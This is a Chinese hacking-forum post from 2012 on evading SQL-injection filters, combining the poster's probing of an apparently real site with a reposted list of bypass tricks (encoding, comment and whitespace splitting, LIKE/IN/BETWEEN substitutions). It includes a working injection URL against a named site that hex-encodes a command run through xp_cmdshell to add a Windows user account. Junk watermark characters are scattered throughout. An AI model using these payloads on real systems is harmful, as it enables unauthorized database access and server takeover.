中国网络渗透测试联盟

标题: 饶过防注入系统方法总结 [打印本页]

作者: admin    时间: 2012-9-15 14:47
标题: 饶过防注入系统方法总结
路过这个网站,检测了一下.
7 x+ F4 B+ w5 R% y, Fhttp://www.xxx.cn/Article.asp?ID=117 and 1=1
- {: y0 t% u5 w4 ], D$ n4 f直接返回主页! }; S6 W1 T4 I1 g
http://www.xxx.cn/Article.asp?ID=117 or 1=1: B" q( }! J! b
直接返回主页
$ Y$ O( u9 _; Q/ J2 B9 Mhttp://www.xxx.cn/Article.asp?ID=117 or2 f# p. R6 \& S% ]0 ^7 r8 T7 N
没有返回主页 没有过滤or
' w2 W+ _% f0 U1 q7 D2 shttp://www.xxx.cn/Article.asp?ID=117 and$ ]4 L8 Z$ C, o( m' d6 k- ?0 Q
直接返回主页 看来过滤了and$ f- m/ A- n8 ]4 U: d
http://www.xxx.cn/Article.asp?ID=117 or 1+ X3 `5 q. @' s8 J2 p
没有返回主页 即没有过滤or 也没有过滤1
5 b' l' G3 @  n( ihttp://www.xxx.cn/Article.asp?ID=117 or 1=1
! T" j; |1 T" p4 j- w: j直接返回主页 很明显过滤了等号 " ~- h; Y9 j! v; N  U# {
or的特性是与and相反的.
/ O( Z1 g/ U4 E% C  |! lor 1=1 爆错 或与原页面不同
. x4 f* N  J5 xor 1=2 原页面相同* o# s  Z4 U7 L5 j5 {' C# X
这样就是一个注入点
- d9 _+ B  ?4 K- Z# r# H但他过滤了=号 我就用><号代替=号吧!1 W8 ^- G" A4 A, J* y
or 1<2 很明显是正确的,所以应该与原页面不同
( }/ @1 ?: e% D3 W$ a: Por 1>2 很明显是错误的,所以应该与原页面相同& ?; B5 V8 ^, a6 Z: I$ l) k  Q9 L, a
然后看看有没有过滤其他的查询语句,比如select., D' z+ Y, {2 `4 x3 S! `$ B5 [' c
http://www.xxx.cn/Article.asp?ID=117 select) }5 Y. n& y4 E9 Y+ Y+ ]
直接返回主页
# q* ~1 j! w. O) u又迷茫了..
6 Y. Q7 P5 [# `: D+ [8 M9 Z3 f8 D' H+ X( G( j8 k, m
5 W7 d* V: s) [4 R* \, v
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
6 ~7 b2 G2 c# u这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧). b+ b+ j* v8 L# p& i+ K
================================================
0 x! ^! c( Y5 h以下是转贴:3 b, I  h5 p# p3 h7 R9 N
3 x: e% [. e5 d# B5 W$ y. N
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
) ?) D1 v: c0 \8 r- Q5 O经过我的收集,大部分的防注入程序都过滤了以下关键字: " \; W- S/ T1 E. m7 I
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = 9 `% D" a+ d7 T+ ^% V1 y3 u
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 ) s4 P8 p2 T) ]  X6 g
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 8 q- T8 G! v; }
1、运用编码技术绕过 / u* m+ k' h% G: q, Y+ o' @  v
如URLEncode编码,ASCII编码绕过。例如or 1=1即 " G5 Q1 e+ v: Z% @# _
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 : L% g0 z3 I* ]7 y3 N# U
: {% g2 N# a- N7 S* O4 l
2、通过空格绕过 " W0 C  w+ B. a; m0 J
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
) C' N0 n: ]1 S5 R" o7 z. _5 Lor’ swords’ =‘swords’
9 Y% B2 w' @' Y; J,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 + I$ H; `! [6 R+ ]0 c$ o, z
3、运用字符串判断代替
; e  V& p  ^( S用经典的or 1=1判断绕过,如
: {8 h' g0 d4 `5 q" |- L  N4 oor ’swords’ =’swords’ ) ^7 B; F( I/ B& O8 f# l
,这个方法就是网上在讨论的。
5 ?) e' f: U# c$ F1 X4、通过类型转换修饰符N绕过
/ Q4 N' e* ^! y% |' b可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
" s' \  e/ Q5 V5、通过+号拆解字符串绕过
$ D" w2 [0 c  e效果值得考证,但毕竟是一种方法。如
$ [8 O* }7 H5 Cor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
6 ]$ M: b  ~4 J& I/ b& [
% {+ d2 ]0 L# C7 O% @4 U+ Z- B6、通过LIKE绕过
& U+ |- s5 Y9 o2 v& ?% m, _7 m6 ?5 ]以前怎么就没想到呢?如or
! i) \5 p6 j* P& F4 _’swords’ LIKE ’sw’
1 d% u- F4 y0 q  j1 V!!!显然可以很轻松的绕过 # {. ~1 o9 R. g9 t6 }$ g3 [
“=”“>”
5 Z$ E6 D# ]) I的限制……
3 Z& I/ K- M$ a1 D' b+ r7、通过IN绕过 7 _; K/ o! r. G# L0 @  T
与上面的LIKE的思路差不多,如 ' `. K+ \8 h; r
or ’swords’ IN (’swords’) / |( U4 H) Z: \/ V
  O2 v% N  o9 a' Z, W' L
8、通过BETWEEN绕过 ( {6 J* T8 [. t/ K

4 J, M1 S* V# W' B, x0 [- ~, bor ’swords’ BETWEEN ’rw’ AND ’tw’
  G2 Y3 ]3 X! w  I) Q& o' X3 f' k/ _) a7 D" d* @
9、通过>或者<绕过
( h2 F5 y% y- e. M2 _1 K# ], ~# Tor ’swords’ > ’sw’ ( A* @# l: ?9 b, [
or ’swords’ < ’tw’
0 N6 L% S4 r, G( }or 1<3 + X! c' ?7 n/ _; H2 S* m8 s
……
- ^- g8 T+ f' c) q! c/ J! M10、运用注释语句绕过 4 `2 G# Q# [# P: |1 B
用/**/代替空格,如:
6 L8 M) B: |+ Y7 x* p: QUNION /**/ Select /**/user,pwd,from tbluser / ]) V3 c. B5 f- Q

) a2 j$ ?, t9 x9 U( {6 x, m用/**/分割敏感词,如:
( S: o  ?8 [0 r4 HU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
( V5 S8 c" M  F4 ~# n0 |% F9 U
11、用HEX绕过,一般的IDS都无法检测出来
2 f4 y5 W# Z- c0 a+ M* ]$ k0x730079007300610064006D0069006E00 =hex(sysadmin)
3 o' N+ E. p( W0x640062005F006F0077006E0065007200 =hex(db_owner)
8 }7 U! @8 Z! \, S, k3 a另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: 6 I" b  J& M; P0 S# m
  declare @a sysname
2 b8 B7 Y4 V, |- _% |' F  select @a=
0 X/ g+ T7 U- K& H# l: j  exec master.dbo.xp_cmdshell @a / a: n# v  y4 o+ d$ k" T( u/ x
效果
5 |- X  }7 S8 O3 N9 n; y4 \http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- 5 V7 E4 R1 z" n, u
" \* M- B( o4 P; Z4 W  e
其中的 . S7 k  B! _/ A
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
; b  O$ B+ Y* w( _# w7 Q1 H( E7 \就是
6 E. \# V' `5 ~' {& ?3 Z9 x“net user angel pass /add”7 e3 r6 F1 O7 T: ?* ?9 M
; }6 v" z+ T2 m  s6 W7 W
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。1 V" H# Z" E+ _4 w; p2 j, f0 Y0 ]
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
2 d, C- Z0 J1 Z* ], }另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
2 D, b8 M6 ]! S9 ]$ l. J8 ?Copy code
7 H  S6 n1 R0 l+ N+ cselect * from table exec xp_cmdshell'xxxxxxxxxx'
7 k! f9 n* m8 v# t/ |  B
, d4 _2 y. H: H9 f/ ^: K2 {, y% a% p0 K5 a5 s, b3 o9 o
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
, p& N  y. t2 p$ F' l  z+ h/ d$ D" I1 E
' M! I  ?7 H% [
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'7 O/ `# c- k' _7 d% [

) Q% k  L% J2 m$ a5 p: c( q
( R8 B# P6 L0 u9 Q6 dselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
$ z  I0 R/ m, _% Z
% r6 a: e- W2 K% X) i, y1 _的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?; ~% a" b5 }5 W; V. _
. D; U1 n4 c0 K5 t, E& j7 b+ p$ D
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
5 Q% _6 w4 g/ o! Z3 [  P8 O) G可能大家早就知道了,不管怎么说,发在这里吧!. f  ]. {1 T3 f" b1 K
8 J' j; f2 U- Q8 V/ C" W. |* E
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
, M' e* V/ W0 }) u% s. V$ h3 c1 o
- p* T8 J3 }0 v: [$ B) q3 r2 K; ^# i5 I
5 f3 T0 V. u5 Z' k1 B
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
$ \* D/ B0 f  d比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? ! ]& c8 _- l" x' e  s5 G% E% I6 P- i
& P' {4 F/ G) A4 M( g





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2